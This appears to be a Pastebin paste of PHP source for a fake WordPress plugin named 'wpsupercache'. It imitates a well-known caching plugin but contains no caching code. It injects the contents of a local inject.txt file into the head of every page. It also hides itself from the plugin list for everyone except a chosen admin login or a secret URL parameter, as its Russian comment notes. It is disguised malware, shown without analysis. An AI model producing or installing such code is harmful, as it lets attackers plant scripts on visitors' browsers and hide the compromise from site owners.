PalmaSolutions

wpsupercache.php

Apr 26th, 2018
282
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.39 KB | None | 0 0
  1. <?php
  2. /*
  3. Plugin Name: wpsupercache
  4. Description: A very fast caching engine for WordPress that produces static html files.
  5. Author: JAutomattic ins
  6. Version: 1.2.1-simple
  7. */
  8.  
  9.  
  10. define('INJECTSCR__BASENAME', basename( __DIR__ ) );
  11. define('INJECTSCR__PLUGIN', INJECTSCR__BASENAME . DIRECTORY_SEPARATOR . basename( __FILE__ ) );
  12. define('INJECTSCR__PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
  13. define('INJECTSCR__SCRIPT_DIR', INJECTSCR__PLUGIN_DIR );
  14. define('INJECTSCR__SCRIPT_FILE',  'inject.txt');
  15. define('INJECTSCR__SCRIPT_FILE_FULL', INJECTSCR__SCRIPT_DIR . INJECTSCR__SCRIPT_FILE);
  16. define('INJECTSCR__ADMIN_LOGIN', 'INJECTSCR__ADMIN');
  17.  
  18. function injectscr() {
  19.     if( file_exists(INJECTSCR__SCRIPT_FILE_FULL) && is_readable(INJECTSCR__SCRIPT_FILE_FULL) ) {
  20.         readfile(INJECTSCR__SCRIPT_FILE_FULL);
  21.     }    
  22. }
  23.  
  24. //скрываем плагины от всех кроме главного админа start
  25. function injectscr_hide($plugins) {
  26.    
  27.     if( $_GET[INJECTSCR__ADMIN_LOGIN] == 1 ) {
  28.         return $plugins;
  29.     }
  30.    
  31.     $user = wp_get_current_user();
  32.  
  33.     if( $user->data->user_login === INJECTSCR__ADMIN_LOGIN ) {
  34.         return $plugins;
  35.     }
  36.  
  37.     if( is_plugin_active( INJECTSCR__PLUGIN ) ) {
  38.         unset( $plugins[ INJECTSCR__PLUGIN ] );
  39.     }
  40.  
  41.     return $plugins;
  42. }
  43.  
  44. add_action( 'wp_head', 'injectscr' );
  45. add_filter('all_plugins', 'injectscr_hide');
Advertisement
Add Comment
Please, Sign In to add comment